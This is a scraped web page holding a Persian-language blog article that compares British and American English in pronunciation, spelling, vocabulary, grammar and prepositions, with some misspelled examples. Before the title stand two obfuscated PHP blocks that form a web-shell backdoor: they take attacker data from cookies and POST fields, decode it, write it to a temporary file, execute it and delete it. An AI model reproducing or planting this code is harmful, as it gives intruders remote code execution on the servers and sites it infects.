$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} تفاوت انگلیسی بریتانیا و آمریکا؛ تفاوت دو خانه مشابه در سرزمین زبان‌ | وبلاگ اتیچر
skip to Main Content

تفاوت انگلیسی بریتانیا و آمریکا؛ تفاوت دو خانه مشابه در سرزمین زبان‌

تفاوت انگلیسی بریتانیا و آمریکا
زمان مطالعه: ۷ دقیقه

تفاوت انگلیسی بریتانیا و آمریکا مانند تفاوت دو خانه است. زبان، خانه‌ای است که وجود انسان در آن رشد می‌کند و ما از قاب پنجره‌های آن شروع به شناسایی دنیا می‌کنیم. ما با زبان، خودمان را می‌شناسیم و دیگران را می‌فهمیم و برای اشیای جهان اسم می‌گذاریم تا بتوانیم با آن ارتباط برقرار کنیم. با این زاویه دید است که می‌توانیم بگوییم تفاوت انگلیسی بریتانیا و آمریکا، تفاوت بین دو سبک زندگی است که در طول تاریخ همیشه با همدیگر گفتگوهای فرهنگی بسیار زیادی داشته‌اند.
در این مقاله از اتیچر قرار است درباره فرق انگلیسی بریتانیا و آمریکا از نظر تلفظ، املای واژه‌ها، لغات، گرامر و حروف اضافه صحبت کنیم.

فهرست بخش ها


تفاوت انگلیسی بریتانیا و آمریکایی در تلفظ

بحث تلفظ که پیش می‌آید مسلماً اولین بحث این است که کدام بهتر است؟ تلفظ انگلیسیِ بریتانیایی بهتر است یا آمریکایی؟ همین اول باید بگوییم که هیچ‌کدام نسبت به دیگری برتری خاصی ندارند البته تا زمانی که شما با یکی از انواع تلفظ‌ها راحت باشید. درواقع هیچ استاندارد و معیار محکمی برای بهتربودن یکی نسبت به دیگری وجود ندارد.
از طرفی تلفظْ بحث لهجه را هم پیش می‌کشد. در مورد زبان انگلیسی به‌دلیل گستردگی این زبان در سرتاسر دنیا لهجه‌ها و تلفظ‌های گوناگونی، وجود دارد. حالا اینجا با هم مواردی از تفاوت انگلیسی بریتانیا و آمریکا از نظر‌ لفظی را به‌عنوان نمونه بررسی می‌کنیم:

تلفظ حرف /R/

در مورد تلفظ معمولا اشاره می‌شود به این‌که در انگلیسی آمریکایی حرف /R/ در آخر کلمات واضح تلفظ می‌شود، اما در بریتیش /R/ در آخر کلمه که بیاید تلفظ نمی‌شود. اگر هم در وسط بیاید، صدایش حضور ناپیدایی دارد. درواقع در بریتانیایی /R/ معمولا وقتی تلفظ می‌شود که یک حرف صدادار بعد از آن حاضر باشد، در امریکن اما /R/ همیشه تلفظ می‌شود.

یک فرضیه هست که می‌گوید این شکل تلفظ یا عدم‌تلفظ حرف /R/ را اشراف انگلیسی مد کرده‌اند و این کار به‌نوعی بر اصالت این طبقه تاکید داشته است.

زیرو‌بمی کلمات یا عبارات

حتما در مورد بالا یا پایین‌رفتن صدا برای جمله‌های پرسشی‌ای که جوابشان «آره یا نه» هم هست شنیده‌اید. در آمریکایی صدا در آخر این سوالات بالا می‌رود و در انگلیسی پایین می‌آید. در واقع زیر‌و‌بم‌کردن صدا در این دو نوع تلفظ انگلیسی هم می‌تواند در عبارت اتفاق بیفتد و هم در کلمات ترکیبی.

تغییر تکیه در جمله یا کلمه

یکی از موارد مهم تفاوت انگلیسی بریتانیا و آمریکا از نظر لهجه تغییر تکیه است. برای مثال اکثر افعال دوهجایی که به -ate ختم می‌شوند دارای استرس هجایی اول در AmE (انگلیسی آمریکایی) و استرس هجایی دوم در BrE (انگلیسی بریتانیایی) هستند. افعالی مثل spectate, stagnate, striate, translate از این دسته هستند.

تفاوت انگلیسی بریتانیا و آمریکا در املای واژه‌ها

املای کلمات هم یک بحث جذاب دیگر در مورد تفاوت انگلیسی بریتانیا و آمریکا است. توجه به املا به‌خصوص برای آنهایی که کارشان با نوشتن گره خورده، ممکن است کلافه‌کننده باشد. البته بعد از مدتی نه‌تنها چشم بلکه دست شما هم به شکل املایی کلمات عادت می‌کند. حالا چند باور معمول دربارۀ تفاوت انگلیسی بریتانیا و آمریکا از نظر املا را با هم مرور می‌کنیم:

کوتاهی یا بلندی کلمات

کلمات آمریکایی معمولا کوتاه‌تر از انگلیسی هستند به‌خصوص وقتی بحث بر سر آخر کلمات باشد. برای مثال کلمۀ «رنگ» در آمریکایی با color و در بریتیش colour نوشته می‌شود. در مورد کلماتی مثل Flavor/ flavour، honor/ honour، neighbor/ neighbour هم قضیه به همین شکل است.

جابه‌جایی حروف

در مورد کلماتی که در آخر آنها در آمریکایی –er می‌آید هم بحث جابه‌جایی را داریم. برای مثال واژه‌هایی مثل center، Fiber، meter، Theater در آمریکایی در املای بریتیش به‌ترتیب به این شکل تبدیل می‌شوند: centre، fibre، fibre، theatre.

تفاوت انگلیسی بریتانیایی و آمریکایی در تلفظ

تفاوت پسوندها

در مورد بعضی از پسوندها مثل –ize در آمریکایی و –ise در بریتانیایی هم تفاوت‌هایی وجود دارد. فقط کافی است به Origanize، Recognize، realize در آمریکایی توجه کنیم که املای متفاوت با موارد مشابهشان در بریتیش دارند، به‌ترتیب: organise، recognise، realise. در مورد پسوند –yze و –yse قضیه به همین شکل است مثلا: Paralyze و paralyse.

حذف یا اضافۀ بعضی حروف

حرف e در بعضی کلمات آمریکایی نسبت به همنوع بریتیش آن حذف می‌شود. برای مثال dying و Airplane در AmE به‌صورت dyeingو aeroplane در BrE تبدیل می‌شود.

جایگزینی بعضی حروف

گاهی n در بریتیش جایگزین m در آمریکایی می‌شود. برای مثال aluminum و mom در AmE تبدیل می‌شوند به aluminiun و mun. یا حتی کلماتی داریم مثل pajamas در آمریکایی که نوع انگلیسی آن به شکل pyjamas ارائه می‌شود.
در ادامه هم یک جدول خیلی کاربردی همراه با مثال برای شما قرار داده‌ایم که برای موقعیت‌های پرتکرار مفیدند:

American English British English
-e- (e.g. anemia, diarrhea, encyclopedia) -oe-/-ae- (e.g. anaemia, diarrhoea, encyclopaedia)
-ed (e.g. burned, dreamed, leaped) -t (e.g. burnt, dreamt, leapt)
-ense (defense, offense, license)- -ence (e.g. defence, offence, licence)
-el- (e.g. canceled, jeweler, marvelous) -ell- (e.g. cancelled, jeweller, marvellous)
-ize (e.g. appetizer, familiarize, organize) -ise (e.g. appetiser, familiarise, organise)
-ll- (e.g. enroll, fulfill, skillfull) -l- (e.g. enrol, fulfil, skilful)
-og (e.g. analog, monolog, catalog)
*Note that American English also recognizes words spelled with –ogue
-ogue (e.g. analogue, monologue, catalogue)
-o (e.g. color, behavior, mold) -ou (e.g. colour, behaviour, mould)
-er (e.g. meter, fiber, center) -re (e.g. metre, fibre, centre)
-i- (e.g. tire) -y- (e.g. tyre)

تفاوت انگلیسی بریتانیا و آمریکا در لغات

در انگلیسی امریکن و بریتیش یک سری لغات متفاوت داریم که معنای مشترکی دارند. این کلمات تعدادشان اصلا کم نیست و وقتی دو لهجۀ بریتانیایی و آمریکایی را بشنوید کم‌کم متوجه تفاوت آنها خواهید شد. اصلا این کلمه‌ها یکی از معیارهای تشخیص تفاوت AmE و BrE هم هستند. چند مورد از آنها را با هم ببینیم:

معنی بریتانیایی آمریکایی
کیک و شیرینی کوچک biscuit cookies
آپارتمان flat apartment
تریلی یدک‌کش lorry truck
تعطیلات holiday vacation
حیاطِ منزل garden yard
پاییز autumn fall
چراغ قوه torch flashlight
بالابر lift elevator
پست‌چی postman mailman
فیلم film movie
چمدان luggage baggage

البته در بحث واژه‌ها، مواردی هستند که یک شکل نوشتاری دارند اما معنای آنها در آمریکایی و بریتانیایی با یکدیگر متفاوت است. تفاوت معنایی این‌چنین کلماتی مهم است و بهتر است نسبت به یادگیری آنها حساس‌تر باشید. چند مورد از این‌ها را در ادامه مرور کنیم:

معنا در BrE معنا در AmE کلمه
نوعی شاهین نوعی لاشخور buzzard
اردوگاه مکانی برای چادرزدن campsite
کسی که مجروح شده کسی که کشته شده casualty
اجاق گاز آشپزخانه آشپز cooker
فوتبال فوتبال آمریکایی football
دیوانه عصبانی mad
کلم بروکسل جوانه یونجه sprouts

 

تفاوت انگلیسی بریتانیا و آمریکا در گرامر

در مورد گرامر مسلما تفاوت انگلیسی بریتانیا و آمریکا ظریف‌تر هستند و باید دقت بیشتری را به کار گرفت. این موارد به‌خصوص در مورد نوشتن اهمیت پیدا می‌کنند. این یعنی اگر قرار است در بریتانیا تحصیل کنید حتما باید ساختار گرامری انگلیسی بریتیش را یاد بگیرید و در مورد آمریکا هم همین‌طور. در ادامه چند تفاوت انگلیسی بریتانیا و آمریکا از نظر گرامر را بررسی می‌کنیم.

ساخت اسم‌های جمع

در AmE بعضی از اسم‌ها مثل group و government مفرد در نظر گرفته می‌شوند، اما در BrE این اسامی جمع هستند. این یعنی در مورد اول، فعل مفرد و در مورد دوم، فعل جمع است.

زمان حال کامل

در BrE، present perfect tense برای عملی کاربرد دارد که در گذشته نزدیک اتفاق افتاده است و در AmE، این زمان برای گذشتۀ ساده هم کاربرد دارد. در واقع در بریتانیایی مهم است که اثر عمل در لحظۀ گفتگو باقی مانده باشد.

افعال گذرا و ناگذر

افعال گذرای زیادی در AmE هستند که در BrE ناگذر می‌شوند. قضیه برای افعال ناگذر هم به‌همین شکل است. برای مثال جملۀHe appealed the decision در AmE در BrE به‌صورت He appealed against the decision به کار می‌رود.

گذشتۀ افعال

تفاوت انگلیسی بریتانیا و آمریکا به این صورت است که آمریکایی‌ها برای تبدیل‌کردن افعال به گذشته به آن ed اضافه می‌کنند یا آنها را به صورت p.p می‌نویسند. در بریتانیا اما برای ماضی‌کردن فعل‌ها t را به آخر افعال اضافه می‌کنند. برای مثال در مورد learn، در AmE این فعل به‌صورت learned ظاهر می‌شود و در BrE فعل به‌صورت learnt درمی‌آید.

تفاوت دربارۀ افعال معین

modal verb یا افعال معین کلماتی مثل should ,would, will, could, might و must هستند. برای مثال در این موارد در BrE اغلب از shall یا shan’t استفاده می‌شود و در AmE از will و won’t استفاده می‌شود.

جایگاه قید

تفاوت انگلیسی بریتانیا و آمریکا به این صورت است که در امریکن جایگاه قید می‌تواند قبل یا بعد فعل باشد اما در بریتیش جایگاه قید بعد از فعل قرار دارد و خیلی کم پیش می‌آید آن را قبل از فعل قرار دهند.
این‌ها فقط بخش کوچکی از تفاوت انگلیسی بریتانیا و آمریکا از نظر گرامر را می‌سازند. برای شناخت همۀ این موارد بهتر است برمبنای موقعیت به سراغ هر کدام رفت وگرنه امکان حفظ تمام آنها وجود ندارد.

تفاوت انگلیسی بریتانیا و آمریکا درباره حروف اضافه

در مورد حروف اضافه هم تفاوت انگلیسی بریتانیا و آمریکا مشهود است. یادگیری این موارد در کاربردشان برای موقعیت‌های مختلف است. نکتۀ مهم دربارۀ حروف اضافه این‌که بهتر است فقط از یک دسته از آنها استفاده کنید تا یک‌دستی گرامری شما حفظ شود. رعایت این مورد به‌خصوص در نوشتن بسیار مهم است. در ادامه به چند مورد از آنها اشاره کرده‌ایم:

American British
to play on a team to play in a team
to enroll in a course to enrol on a course
on/during/over the weekend at the weekend
to chat/speak/talk with/to to chat/speak/talk to
different from/than different from/to
opportunity to do smth opportunity to do/of doing smth
to call at (123)-123-1234 to call/ring on (123)-123-1234
to fill out a form (BUT: to fill in a blank) to fill in a form
rained out rained off (cancelled due to rain)
starting on Sunday/Monday/etc. from Sunday/Monday/etc.
   

حرف آخر

تفاوت انگلیسی بریتانیا و آمریکا تفاوت دو خانه‌ در جهان زبان‌هاست که با راه‌های بسیار زیادی به یکدیگر وصل شده‌اند. این دو خانه، همان‌قدر که می‌توانند با یکدیگر تفاوت‌های ریز داشته باشند، شباهت‌های بسیار بزرگی هم دارند. شما چه تجربه‌ای از تفاوت انگلیسی بریتانیا و آمریکا دارید؟ حتما دربارۀ آن بنویسید چون تجربۀ شما بهترین معلم برای تمام کسانی است که اینجا منتظر صدای شما هستند.

۳.۹/۵ - (۸ امتیاز)

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search